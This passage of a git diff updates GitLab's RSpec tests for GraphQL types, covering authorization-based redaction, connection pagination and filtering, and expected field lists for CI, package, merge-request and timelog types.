+ ys: (95..105).to_a.map { |id| { id: id } }
+ }
+ }
+
+ doc = lambda do |after|
+ GraphQL.parse(<<~GQL)
+ query {
+ x {
+ ys: arrayYsConn(#{attributes_to_graphql(first: n, after: after)}) {
+ pageInfo {
+ hasNextPage
+ hasPreviousPage
+ endCursor
+ }
+ nodes { id }
+ }
+ }
+ }
+ GQL
+ end
+ returned_items = ->(ids) { ids.to_a.map { |id| eq({ 'id' => id }) } }
+
+ query = GraphQL::Query.new(test_schema, document: doc[nil], context: data)
+ result = query.result.to_h
+
+ ys = result.dig('data', 'x', 'ys', 'nodes')
+ page = result.dig('data', 'x', 'ys', 'pageInfo')
+ # We expect this page to be smaller, since we paginate before redaction
+ expect(ys).to match_array(returned_items[(95..101).to_a - [100]])
+ expect(page).to include('hasNextPage' => true, 'hasPreviousPage' => false)
+
+ cursor = page['endCursor']
+ query_2 = GraphQL::Query.new(test_schema, document: doc[cursor], context: data)
+ result_2 = query_2.result.to_h
+
+ ys = result_2.dig('data', 'x', 'ys', 'nodes')
+ page = result_2.dig('data', 'x', 'ys', 'pageInfo')
+ expect(ys).to match_array(returned_items[102..105])
+ expect(page).to include('hasNextPage' => false, 'hasPreviousPage' => true)
+ end
+
+ it 'filters connections correctly' do
+ active_users = create_list(:user, 3, state: :active)
+ inactive = create(:user, state: :deactivated)
+
+ data = { user_ids: [inactive, *active_users].map(&:id) }
+
+ doc = GraphQL.parse(<<~GQL)
+ query {
+ users { nodes { name } }
+ }
+ GQL
+
+ query = GraphQL::Query.new(test_schema, document: doc, context: data)
+ result = query.result.to_h
+
+ expect(result.dig('data', 'users', 'nodes')).to match_array(active_users.map do |u|
+ eq({ 'name' => u.name })
+ end)
+ end
+
+ it 'filters polymorphic connections' do
+ data = {
+ current_user: :the_user,
+ x: {
+ values: [{ value: 1 }, { value: 2 }, { value: 3 }, { value: 4 }]
+ }
+ }
+
+ doc = GraphQL.parse(<<~GQL)
+ query {
+ x {
+ things: polymorphicConn {
+ nodes {
+ ... on Odd { oddValue }
+ ... on Even { evenValue }
+ }
+ }
+ }
+ }
+ GQL
+
+ # Each ability check happens twice: once in the collection, and once
+ # on the type. We expect the ability checks to be cached.
+ expect(Ability).to receive(:allowed?).twice
+ .with(:the_user, :read_odd, { value: 1 }).and_return(true)
+ expect(Ability).to receive(:allowed?).once
+ .with(:the_user, :read_odd, { value: 3 }).and_return(false)
+ expect(Ability).to receive(:allowed?).once
+ .with(:the_user, :read_even, { value: 2 }).and_return(false)
+ expect(Ability).to receive(:allowed?).twice
+ .with(:the_user, :read_even, { value: 4 }).and_return(true)
+
+ query = GraphQL::Query.new(test_schema, document: doc, context: data)
+ result = query.result.to_h
+
+ things = result.dig('data', 'x', 'things', 'nodes')
+
+ expect(things).to contain_exactly(
+ { 'oddValue' => 1 },
+ { 'evenValue' => 4 }
+ )
+ end
+
+ it 'filters interface connections' do
+ data = {
+ current_user: :the_user,
+ x: {
+ values: [{ value: 1 }, { value: 2 }, { value: 3 }, { value: 4 }]
+ }
+ }
+
+ doc = GraphQL.parse(<<~GQL)
+ query {
+ x {
+ things: interfaceConn {
+ nodes {
+ value
+ ... on Odd { oddValue }
+ ... on Even { evenValue }
+ }
+ }
+ }
+ }
+ GQL
+
+ # Each ability check happens twice: once in the collection, and once
+ # on the type. We expect the ability checks to be cached.
+ expect(Ability).to receive(:allowed?).twice
+ .with(:the_user, :read_odd, { value: 1 }).and_return(true)
+ expect(Ability).to receive(:allowed?).once
+ .with(:the_user, :read_odd, { value: 3 }).and_return(false)
+ expect(Ability).to receive(:allowed?).once
+ .with(:the_user, :read_even, { value: 2 }).and_return(false)
+ expect(Ability).to receive(:allowed?).twice
+ .with(:the_user, :read_even, { value: 4 }).and_return(true)
+
+ query = GraphQL::Query.new(test_schema, document: doc, context: data)
+ result = query.result.to_h
+
+ things = result.dig('data', 'x', 'things', 'nodes')
+
+ expect(things).to contain_exactly(
+ { 'value' => 1, 'oddValue' => 1 },
+ { 'value' => 4, 'evenValue' => 4 }
+ )
+ end
+
+ it 'redacts polymorphic objects' do
+ data = {
+ current_user: :the_user,
+ x: {
+ values: [{ value: 1 }]
+ }
+ }
+
+ doc = GraphQL.parse(<<~GQL)
+ query {
+ x {
+ ok: polymorphicObject(value: 1) {
+ ... on Odd { oddValue }
+ ... on Even { evenValue }
+ }
+ bad: polymorphicObject(value: 3) {
+ ... on Odd { oddValue }
+ ... on Even { evenValue }
+ }
+ }
+ }
+ GQL
+
+ # Each ability check happens twice: once in the collection, and once
+ # on the type. We expect the ability checks to be cached.
+ expect(Ability).to receive(:allowed?).once
+ .with(:the_user, :read_odd, { value: 1 }).and_return(true)
+ expect(Ability).to receive(:allowed?).once
+ .with(:the_user, :read_odd, { value: 3 }).and_return(false)
+
+ query = GraphQL::Query.new(test_schema, document: doc, context: data)
+ result = query.result.to_h
+
+ expect(result.dig('data', 'x', 'ok')).to eq({ 'oddValue' => 1 })
+ expect(result.dig('data', 'x', 'bad')).to be_nil
+ end
+
+ it 'paginates before scoping' do
+ # Inactive first so they sort first
+ n = 3
+ inactive = create_list(:user, n - 1, state: :deactivated)
+ active_users = create_list(:user, 2, state: :active)
+
+ data = { user_ids: [*inactive, *active_users].map(&:id) }
+
+ doc = GraphQL.parse(<<~GQL)
+ query {
+ users(first: #{n}) {
+ pageInfo { hasNextPage }
+ nodes { name } }
+ }
+ GQL
+
+ query = GraphQL::Query.new(test_schema, document: doc, context: data)
+ result = query.result.to_h
+
+ # We expect the page to be loaded and then filtered - i.e. to have all
+ # deactivated users removed.
+ expect(result.dig('data', 'users', 'pageInfo', 'hasNextPage')).to be_truthy
+ expect(result.dig('data', 'users', 'nodes'))
+ .to contain_exactly({ 'name' => active_users.first.name })
+ end
+ end
+end
diff --git a/spec/graphql/types/board_type_spec.rb b/spec/graphql/types/board_type_spec.rb
index dca3cfd8aaf..403fbe1f290 100644
--- a/spec/graphql/types/board_type_spec.rb
+++ b/spec/graphql/types/board_type_spec.rb
@@ -8,8 +8,18 @@ RSpec.describe GitlabSchema.types['Board'] do
specify { expect(described_class).to require_graphql_authorizations(:read_issue_board) }
it 'has specific fields' do
- expected_fields = %w[id name web_url web_path]
+ expected_fields = %w[
+ id
+ name
+ hideBacklogList
+ hideClosedList
+ createdAt
+ updatedAt
+ lists
+ webPath
+ webUrl
+ ]
- expect(described_class).to include_graphql_fields(*expected_fields)
+ expect(described_class).to have_graphql_fields(*expected_fields).at_least
end
end
diff --git a/spec/graphql/types/boards/board_issue_input_type_spec.rb b/spec/graphql/types/boards/board_issue_input_type_spec.rb
index 6319ff9a88e..5d3efb9b40d 100644
--- a/spec/graphql/types/boards/board_issue_input_type_spec.rb
+++ b/spec/graphql/types/boards/board_issue_input_type_spec.rb
@@ -5,9 +5,9 @@ require 'spec_helper'
RSpec.describe GitlabSchema.types['BoardIssueInput'] do
it { expect(described_class.graphql_name).to eq('BoardIssueInput') }
- it 'exposes negated issue arguments' do
+ it 'has specific fields' do
allowed_args = %w(labelName milestoneTitle assigneeUsername authorUsername
- releaseTag myReactionEmoji not search)
+ releaseTag myReactionEmoji not search assigneeWildcardId)
expect(described_class.arguments.keys).to include(*allowed_args)
expect(described_class.arguments['not'].type).to eq(Types::Boards::NegatedBoardIssueInputType)
diff --git a/spec/graphql/types/ci/job_status_enum_spec.rb b/spec/graphql/types/ci/job_status_enum_spec.rb
new file mode 100644
index 00000000000..e8a1a2e0aa8
--- /dev/null
+++ b/spec/graphql/types/ci/job_status_enum_spec.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe GitlabSchema.types['CiJobStatus'] do
+ it 'exposes all job status values' do
+ expect(described_class.values.values).to contain_exactly(
+ *::Ci::HasStatus::AVAILABLE_STATUSES.map do |status|
+ have_attributes(value: status, graphql_name: status.upcase)
+ end
+ )
+ end
+end
diff --git a/spec/graphql/types/ci/job_type_spec.rb b/spec/graphql/types/ci/job_type_spec.rb
index 25f626cea0f..787e2174070 100644
--- a/spec/graphql/types/ci/job_type_spec.rb
+++ b/spec/graphql/types/ci/job_type_spec.rb
@@ -8,14 +8,32 @@ RSpec.describe Types::Ci::JobType do
it 'exposes the expected fields' do
expected_fields = %i[
- pipeline
+ active
+ allow_failure
+ artifacts
+ cancelable
+ commitPath
+ coverage
+ created_at
+ detailedStatus
+ duration
+ finished_at
+ id
name
needs
- detailedStatus
+ pipeline
+ playable
+ queued_at
+ refName
+ refPath
+ retryable
scheduledAt
- artifacts
- finished_at
- duration
+ schedulingType
+ shortSha
+ stage
+ started_at
+ status
+ tags
]
expect(described_class).to have_graphql_fields(*expected_fields)
diff --git a/spec/graphql/types/ci/pipeline_type_spec.rb b/spec/graphql/types/ci/pipeline_type_spec.rb
index e0e84a1b635..c7d2cbdb765 100644
--- a/spec/graphql/types/ci/pipeline_type_spec.rb
+++ b/spec/graphql/types/ci/pipeline_type_spec.rb
@@ -11,8 +11,9 @@ RSpec.describe Types::Ci::PipelineType do
expected_fields = %w[
id iid sha before_sha status detailed_status config_source duration
coverage created_at updated_at started_at finished_at committed_at
- stages user retryable cancelable jobs source_job downstream
- upstream path project active user_permissions warnings commit_path
+ stages user retryable cancelable jobs source_job job downstream
+ upstream path project active user_permissions warnings commit_path uses_needs
+ test_report_summary test_suite
]
if Gitlab.ee?
diff --git a/spec/graphql/types/ci/recent_failures_type_spec.rb b/spec/graphql/types/ci/recent_failures_type_spec.rb
new file mode 100644
index 00000000000..38369da46bf
--- /dev/null
+++ b/spec/graphql/types/ci/recent_failures_type_spec.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Types::Ci::RecentFailuresType do
+ specify { expect(described_class.graphql_name).to eq('RecentFailures') }
+
+ it 'contains attributes related to a recent failure history for a test case' do
+ expected_fields = %w[
+ count base_branch
+ ]
+
+ expect(described_class).to have_graphql_fields(*expected_fields)
+ end
+end
diff --git a/spec/graphql/types/ci/stage_type_spec.rb b/spec/graphql/types/ci/stage_type_spec.rb
index 9a8d4fa96a3..cb8c1cb02cd 100644
--- a/spec/graphql/types/ci/stage_type_spec.rb
+++ b/spec/graphql/types/ci/stage_type_spec.rb
@@ -10,6 +10,7 @@ RSpec.describe Types::Ci::StageType do
name
groups
detailedStatus
+ jobs
]
expect(described_class).to have_graphql_fields(*expected_fields)
diff --git a/spec/graphql/types/ci/test_case_status_enum_spec.rb b/spec/graphql/types/ci/test_case_status_enum_spec.rb
new file mode 100644
index 00000000000..ba2d1aefb20
--- /dev/null
+++ b/spec/graphql/types/ci/test_case_status_enum_spec.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Types::Ci::TestCaseStatusEnum do
+ specify { expect(described_class.graphql_name).to eq('TestCaseStatus') }
+
+ it 'exposes all test case status types' do
+ expect(described_class.values.keys).to eq(
+ ::Gitlab::Ci::Reports::TestCase::STATUS_TYPES
+ )
+ end
+end
diff --git a/spec/graphql/types/ci/test_case_type_spec.rb b/spec/graphql/types/ci/test_case_type_spec.rb
new file mode 100644
index 00000000000..e6cd70c287e
--- /dev/null
+++ b/spec/graphql/types/ci/test_case_type_spec.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Types::Ci::TestCaseType do
+ specify { expect(described_class.graphql_name).to eq('TestCase') }
+
+ it 'contains attributes related to a pipeline test case' do
+ expected_fields = %w[
+ name status classname file attachment_url execution_time stack_trace system_output recent_failures
+ ]
+
+ expect(described_class).to have_graphql_fields(*expected_fields)
+ end
+end
diff --git a/spec/graphql/types/ci/test_report_summary_type_spec.rb b/spec/graphql/types/ci/test_report_summary_type_spec.rb
new file mode 100644
index 00000000000..06974da0b88
--- /dev/null
+++ b/spec/graphql/types/ci/test_report_summary_type_spec.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Types::Ci::TestReportSummaryType do
+ specify { expect(described_class.graphql_name).to eq('TestReportSummary') }
+
+ it 'contains attributes related to a pipeline test report summary' do
+ expected_fields = %w[
+ total test_suites
+ ]
+
+ expect(described_class).to have_graphql_fields(*expected_fields)
+ end
+end
diff --git a/spec/graphql/types/ci/test_report_total_type_spec.rb b/spec/graphql/types/ci/test_report_total_type_spec.rb
new file mode 100644
index 00000000000..e5b7b358edb
--- /dev/null
+++ b/spec/graphql/types/ci/test_report_total_type_spec.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Types::Ci::TestReportTotalType do
+ specify { expect(described_class.graphql_name).to eq('TestReportTotal') }
+
+ it 'contains attributes related to a pipeline test report summary' do
+ expected_fields = %w[
+ time count success failed skipped error suite_error
+ ]
+
+ expect(described_class).to have_graphql_fields(*expected_fields)
+ end
+end
diff --git a/spec/graphql/types/ci/test_suite_summary_type_spec.rb b/spec/graphql/types/ci/test_suite_summary_type_spec.rb
new file mode 100644
index 00000000000..e87782037c7
--- /dev/null
+++ b/spec/graphql/types/ci/test_suite_summary_type_spec.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Types::Ci::TestSuiteSummaryType do
+ specify { expect(described_class.graphql_name).to eq('TestSuiteSummary') }
+
+ it 'contains attributes related to a pipeline test report summary' do
+ expected_fields = %w[
+ name total_time total_count success_count failed_count skipped_count error_count suite_error build_ids
+ ]
+
+ expect(described_class).to have_graphql_fields(*expected_fields)
+ end
+end
diff --git a/spec/graphql/types/ci/test_suite_type_spec.rb b/spec/graphql/types/ci/test_suite_type_spec.rb
new file mode 100644
index 00000000000..d9caca3e2c3
--- /dev/null
+++ b/spec/graphql/types/ci/test_suite_type_spec.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Types::Ci::TestSuiteType do
+ specify { expect(described_class.graphql_name).to eq('TestSuite') }
+
+ it 'contains attributes related to a pipeline test suite' do
+ expected_fields = %w[
+ name total_time total_count success_count failed_count skipped_count error_count suite_error test_cases
+ ]
+
+ expect(described_class).to have_graphql_fields(*expected_fields)
+ end
+end
diff --git a/spec/graphql/types/global_id_type_spec.rb b/spec/graphql/types/global_id_type_spec.rb
index 8eb023ad2a3..4df51dc8d1b 100644
--- a/spec/graphql/types/global_id_type_spec.rb
+++ b/spec/graphql/types/global_id_type_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe Types::GlobalIDType do
let_it_be(:project) { create(:project) }
+
let(:gid) { project.to_global_id }
it 'is has the correct name' do
diff --git a/spec/graphql/types/issue_type_spec.rb b/spec/graphql/types/issue_type_spec.rb
index 21fc530149c..6908a610aae 100644
--- a/spec/graphql/types/issue_type_spec.rb
+++ b/spec/graphql/types/issue_type_spec.rb
@@ -18,7 +18,7 @@ RSpec.describe GitlabSchema.types['Issue'] do
confidential discussion_locked upvotes downvotes user_notes_count user_discussions_count web_path web_url relative_position
emails_disabled subscribed time_estimate total_time_spent human_time_estimate human_total_time_spent closed_at created_at updated_at task_completion_status
design_collection alert_management_alert severity current_user_todos moved moved_to
- create_note_email]
+ create_note_email timelogs]
fields.each do |field_name|
expect(described_class).to have_graphql_field(field_name)
diff --git a/spec/graphql/types/merge_request_review_state_enum_spec.rb b/spec/graphql/types/merge_request_review_state_enum_spec.rb
new file mode 100644
index 00000000000..486e1c4f502
--- /dev/null
+++ b/spec/graphql/types/merge_request_review_state_enum_spec.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe GitlabSchema.types['MergeRequestReviewState'] do
+ it 'the correct enum members' do
+ expect(described_class.values).to match(
+ 'REVIEWED' => have_attributes(
+ description: 'The merge request is reviewed.',
+ value: 'reviewed'
+ ),
+ 'UNREVIEWED' => have_attributes(
+ description: 'The merge request is unreviewed.',
+ value: 'unreviewed'
+ )
+ )
+ end
+end
diff --git a/spec/graphql/types/merge_requests/reviewer_type_spec.rb b/spec/graphql/types/merge_requests/reviewer_type_spec.rb
new file mode 100644
index 00000000000..c2182e9968c
--- /dev/null
+++ b/spec/graphql/types/merge_requests/reviewer_type_spec.rb
@@ -0,0 +1,50 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe GitlabSchema.types['MergeRequestReviewer'] do
+ specify { expect(described_class).to require_graphql_authorizations(:read_user) }
+
+ it 'has the expected fields' do
+ expected_fields = %w[
+ id
+ bot
+ user_permissions
+ snippets
+ name
+ username
+ email
+ publicEmail
+ avatarUrl
+ webUrl
+ webPath
+ todos
+ state
+ status
+ location
+ authoredMergeRequests
+ assignedMergeRequests
+ reviewRequestedMergeRequests
+ groupMemberships
+ groupCount
+ projectMemberships
+ starredProjects
+ callouts
+ merge_request_interaction
+ ]
+
+ expect(described_class).to have_graphql_fields(*expected_fields)
+ end
+
+ describe '#merge_request_interaction' do
+ subject { described_class.fields['mergeRequestInteraction'] }
+
+ it 'returns the correct type' do
+ is_expected.to have_graphql_type(Types::UserMergeRequestInteractionType)
+ end
+
+ it 'has the correct arguments' do
+ is_expected.to have_attributes(arguments: be_empty)
+ end
+ end
+end
diff --git a/spec/graphql/types/milestone_type_spec.rb b/spec/graphql/types/milestone_type_spec.rb
index 806495250ac..5c2ae5cea3c 100644
--- a/spec/graphql/types/milestone_type_spec.rb
+++ b/spec/graphql/types/milestone_type_spec.rb
@@ -9,7 +9,7 @@ RSpec.describe GitlabSchema.types['Milestone'] do
it 'has the expected fields' do
expected_fields = %w[
- id title description state web_path
+ id iid title description state web_path
due_date start_date created_at updated_at
project_milestone group_milestone subgroup_milestone
stats
diff --git a/spec/graphql/types/packages/conan/file_metadatum_type_spec.rb b/spec/graphql/types/packages/conan/file_metadatum_type_spec.rb
new file mode 100644
index 00000000000..18b17286654
--- /dev/null
+++ b/spec/graphql/types/packages/conan/file_metadatum_type_spec.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe GitlabSchema.types['ConanFileMetadata'] do
+ it 'includes conan file metadatum fields' do
+ expected_fields = %w[
+ id created_at updated_at recipe_revision package_revision conan_package_reference conan_file_type
+ ]
+
+ expect(described_class).to include_graphql_fields(*expected_fields)
+ end
+end
diff --git a/spec/graphql/types/packages/conan/metadatum_file_type_enum_spec.rb b/spec/graphql/types/packages/conan/metadatum_file_type_enum_spec.rb
new file mode 100644
index 00000000000..379cb5168a8
--- /dev/null
+++ b/spec/graphql/types/packages/conan/metadatum_file_type_enum_spec.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe GitlabSchema.types['ConanMetadatumFileTypeEnum'] do
+ it 'uses all possible options from model' do
+ expected_keys = ::Packages::Conan::FileMetadatum.conan_file_types
+ .keys
+ .map(&:upcase)
+
+ expect(described_class.values.keys).to contain_exactly(*expected_keys)
+ end
+end
diff --git a/spec/graphql/types/packages/conan/metadatum_type_spec.rb b/spec/graphql/types/packages/conan/metadatum_type_spec.rb
new file mode 100644
index 00000000000..f8f24ffc95a
--- /dev/null
+++ b/spec/graphql/types/packages/conan/metadatum_type_spec.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe GitlabSchema.types['ConanMetadata'] do
+ it 'includes conan metadatum fields' do
+ expected_fields = %w[
+ id created_at updated_at package_username package_channel recipe recipe_path
+ ]
+
+ expect(described_class).to include_graphql_fields(*expected_fields)
+ end
+end
diff --git a/spec/graphql/types/packages/package_details_type_spec.rb b/spec/graphql/types/packages/package_details_type_spec.rb
new file mode 100644
index 00000000000..06093813315
--- /dev/null
+++ b/spec/graphql/types/packages/package_details_type_spec.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe GitlabSchema.types['PackageDetailsType'] do
+ it 'includes all the package fields' do
+ expected_fields = %w[
+ id name version created_at updated_at package_type tags project pipelines versions package_files
+ ]
+
+ expect(described_class).to include_graphql_fields(*expected_fields)
+ end
+end
diff --git a/spec/graphql/types/packages/package_file_type_spec.rb b/spec/graphql/types/packages/package_file_type_spec.rb
new file mode 100644
index 00000000000..8e20aea5220
--- /dev/null
+++ b/spec/graphql/types/packages/package_file_type_spec.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe GitlabSchema.types['PackageFile'] do
+ it 'includes package file fields' do
+ expected_fields = %w[
+ id file_name created_at updated_at size file_name download_path file_md5 file_sha1 file_sha256 file_metadata
+ ]
+
+ expect(described_class).to include_graphql_fields(*expected_fields)
+ end
+end
diff --git a/spec/graphql/types/packages/package_type_spec.rb b/spec/graphql/types/packages/package_type_spec.rb
index 43289a019b3..544d6ddc3af 100644
--- a/spec/graphql/types/packages/package_type_spec.rb
+++ b/spec/graphql/types/packages/package_type_spec.rb
@@ -8,7 +8,7 @@ RSpec.describe GitlabSchema.types['Package'] do
id name version package_type
created_at updated_at
project
- tags pipelines versions
+ tags pipelines metadata versions
]
expect(described_class).to include_graphql_fields(*expected_fields)
diff --git a/spec/graphql/types/packages/package_without_versions_type_spec.rb b/spec/graphql/types/packages/package_without_versions_type_spec.rb
deleted file mode 100644
index faa79e588d5..00000000000
--- a/spec/graphql/types/packages/package_without_versions_type_spec.rb
+++ /dev/null
@@ -1,13 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe GitlabSchema.types['PackageWithoutVersions'] do
- it 'includes all the package fields' do
- expected_fields = %w[
- id name version created_at updated_at package_type tags project pipelines
- ]
-
- expect(described_class).to include_graphql_fields(*expected_fields)
- end
-end
diff --git a/spec/graphql/types/project_type_spec.rb b/spec/graphql/types/project_type_spec.rb
index 9579ef8b99b..f2c4068f048 100644
--- a/spec/graphql/types/project_type_spec.rb
+++ b/spec/graphql/types/project_type_spec.rb
@@ -106,7 +106,8 @@ RSpec.describe GitlabSchema.types['Project'] do
expect(secure_analyzers_prefix['type']).to eq('string')
expect(secure_analyzers_prefix['field']).to eq('SECURE_ANALYZERS_PREFIX')
expect(secure_analyzers_prefix['label']).to eq('Image prefix')
- expect(secure_analyzers_prefix['defaultValue']).to eq('registry.gitlab.com/gitlab-org/security-products/analyzers')
+ expect(secure_analyzers_prefix['defaultValue'])
+ .to eq('registry.gitlab.com/gitlab-org/security-products/analyzers')
expect(secure_analyzers_prefix['value']).to eq('registry.gitlab.com/gitlab-org/security-products/analyzers')
expect(secure_analyzers_prefix['size']).to eq('LARGE')
expect(secure_analyzers_prefix['options']).to be_nil
@@ -124,8 +125,8 @@ RSpec.describe GitlabSchema.types['Project'] do
it "returns the project's sast configuration for analyzer variables" do
analyzer = subject.dig('data', 'project', 'sastCiConfiguration', 'analyzers', 'nodes').first
- expect(analyzer['name']).to eq('brakeman')
- expect(analyzer['label']).to eq('Brakeman')
+ expect(analyzer['name']).to eq('bandit')
+ expect(analyzer['label']).to eq('Bandit')
expect(analyzer['enabled']).to eq(true)
end
@@ -184,9 +185,11 @@ RSpec.describe GitlabSchema.types['Project'] do
context 'when repository is accessible only by team members' do
it "returns no configuration" do
- project.project_feature.update!(merge_requests_access_level: ProjectFeature::DISABLED,
- builds_access_level: ProjectFeature::DISABLED,
- repository_access_level: ProjectFeature::PRIVATE)
+ project.project_feature.update!(
+ merge_requests_access_level: ProjectFeature::DISABLED,
+ builds_access_level: ProjectFeature::DISABLED,
+ repository_access_level: ProjectFeature::PRIVATE
+ )
secure_analyzers_prefix = subject.dig('data', 'project', 'sastCiConfiguration')
expect(secure_analyzers_prefix).to be_nil
@@ -240,6 +243,7 @@ RSpec.describe GitlabSchema.types['Project'] do
:assignee_username,
:reviewer_username,
:milestone_title,
+ :not,
:sort
)
end
@@ -342,8 +346,13 @@ RSpec.describe GitlabSchema.types['Project'] do
let_it_be(:project) { create(:project, :public) }
context 'when project has Jira imports' do
- let_it_be(:jira_import1) { create(:jira_import_state, :finished, project: project, jira_project_key: 'AA', created_at: 2.days.ago) }
- let_it_be(:jira_import2) { create(:jira_import_state, :finished, project: project, jira_project_key: 'BB', created_at: 5.days.ago) }
+ let_it_be(:jira_import1) do
+ create(:jira_import_state, :finished, project: project, jira_project_key: 'AA', created_at: 2.days.ago)
+ end
+
+ let_it_be(:jira_import2) do
+ create(:jira_import_state, :finished, project: project, jira_project_key: 'BB', created_at: 5.days.ago)
+ end
it 'retrieves the imports' do
expect(subject).to contain_exactly(jira_import1, jira_import2)
@@ -363,4 +372,11 @@ RSpec.describe GitlabSchema.types['Project'] do
it { is_expected.to have_graphql_type(Types::Ci::AnalyticsType) }
it { is_expected.to have_graphql_resolver(Resolvers::ProjectPipelineStatisticsResolver) }
end
+
+ describe 'jobs field' do
+ subject { described_class.fields['jobs'] }
+
+ it { is_expected.to have_graphql_type(Types::Ci::JobType.connection_type) }
+ it { is_expected.to have_graphql_arguments(:statuses) }
+ end
end
diff --git a/spec/graphql/types/query_type_spec.rb b/spec/graphql/types/query_type_spec.rb
index cb8e875dbf4..d3dcdd260b0 100644
--- a/spec/graphql/types/query_type_spec.rb
+++ b/spec/graphql/types/query_type_spec.rb
@@ -98,6 +98,6 @@ RSpec.describe GitlabSchema.types['Query'] do
describe 'package field' do
subject { described_class.fields['package'] }
- it { is_expected.to have_graphql_type(Types::Packages::PackageType) }
+ it { is_expected.to have_graphql_type(Types::Packages::PackageDetailsType) }
end
end
diff --git a/spec/graphql/types/repository/blob_type_spec.rb b/spec/graphql/types/repository/blob_type_spec.rb
new file mode 100644
index 00000000000..f8647e4e964
--- /dev/null
+++ b/spec/graphql/types/repository/blob_type_spec.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Types::Repository::BlobType do
+ specify { expect(described_class.graphql_name).to eq('RepositoryBlob') }
+
+ specify { expect(described_class).to have_graphql_fields(:id, :oid, :name, :path, :web_path, :lfs_oid, :mode) }
+end
diff --git a/spec/graphql/types/repository_type_spec.rb b/spec/graphql/types/repository_type_spec.rb
index e9199bd286e..fa1e54dfcfa 100644
--- a/spec/graphql/types/repository_type_spec.rb
+++ b/spec/graphql/types/repository_type_spec.rb
@@ -12,4 +12,8 @@ RSpec.describe GitlabSchema.types['Repository'] do
specify { expect(described_class).to have_graphql_field(:tree) }
specify { expect(described_class).to have_graphql_field(:exists, calls_gitaly?: true, complexity: 2) }
+
+ specify { expect(described_class).to have_graphql_field(:blobs) }
+
+ specify { expect(described_class).to have_graphql_field(:branch_names, calls_gitaly?: true, complexity: 170) }
end
diff --git a/spec/graphql/types/snippet_type_spec.rb b/spec/graphql/types/snippet_type_spec.rb
index 4d827186a9b..b87770ebe8d 100644
--- a/spec/graphql/types/snippet_type_spec.rb
+++ b/spec/graphql/types/snippet_type_spec.rb
@@ -161,6 +161,7 @@ RSpec.describe GitlabSchema.types['Snippet'] do
describe '#blobs' do
let_it_be(:snippet) { create(:personal_snippet, :public, author: user) }
+
let(:query_blobs) { subject.dig('data', 'snippets', 'nodes')[0].dig('blobs', 'nodes') }
let(:paths) { [] }
let(:query) do
@@ -201,6 +202,7 @@ RSpec.describe GitlabSchema.types['Snippet'] do
context 'when snippet has repository' do
let_it_be(:snippet) { create(:personal_snippet, :repository, :public, author: user) }
+
let(:blobs) { snippet.blobs }
it_behaves_like 'an array'
diff --git a/spec/graphql/types/timelog_type_spec.rb b/spec/graphql/types/timelog_type_spec.rb
new file mode 100644
index 00000000000..38bd70d5097
--- /dev/null
+++ b/spec/graphql/types/timelog_type_spec.rb
@@ -0,0 +1,35 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe GitlabSchema.types['Timelog'] do
+ let(:fields) { %i[spent_at time_spent user issue note] }
+
+ it { expect(described_class.graphql_name).to eq('Timelog') }
+ it { expect(described_class).to have_graphql_fields(fields) }
+ it { expect(described_class).to require_graphql_authorizations(:read_group_timelogs) }
+
+ describe 'user field' do
+ subject { described_class.fields['user'] }
+
+ it 'returns user' do
+ is_expected.to have_non_null_graphql_type(Types::UserType)
+ end
+ end
+
+ describe 'issue field' do
+ subject { described_class.fields['issue'] }
+
+ it 'returns issue' do
+ is_expected.to have_graphql_type(Types::IssueType)
+ end
+ end
+
+ describe 'note field' do
+ subject { described_class.fields['note'] }
+
+ it 'returns note' do
+ is_expected.to have_graphql_type(Types::Notes::NoteType)
+ end
+ end
+end
diff --git a/spec/graphql/types/user_merge_request_interaction_type_spec.rb b/spec/graphql/types/user_merge_request_interaction_type_spec.rb
new file mode 100644
index 00000000000..f424c9200ab
--- /dev/null
+++ b/spec/graphql/types/user_merge_request_interaction_type_spec.rb
@@ -0,0 +1,116 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe GitlabSchema.types['UserMergeRequestInteraction'] do
+ include GraphqlHelpers
+
+ let_it_be(:user) { create(:user) }
+ let_it_be(:current_user) { create(:user) }
+ let_it_be(:project) { create(:project, :public, :repository) }
+ let_it_be(:merge_request) { create(:merge_request, source_project: project) }
+
+ let(:interaction) { ::Users::MergeRequestInteraction.new(user: user, merge_request: merge_request.reset) }
+
+ specify { expect(described_class).to require_graphql_authorizations(:read_merge_request) }
+
+ it 'has the expected fields' do
+ expected_fields = %w[
+ can_merge
+ can_update
+ review_state
+ reviewed
+ approved
+ ]
+
+ expect(described_class).to have_graphql_fields(*expected_fields).at_least
+ end
+
+ def resolve(field_name)
+ resolve_field(field_name, interaction, current_user: current_user)
+ end
+
+ describe '#can_merge' do
+ subject { resolve(:can_merge) }
+
+ context 'when the user cannot merge' do
+ it { is_expected.to be false }
+ end
+
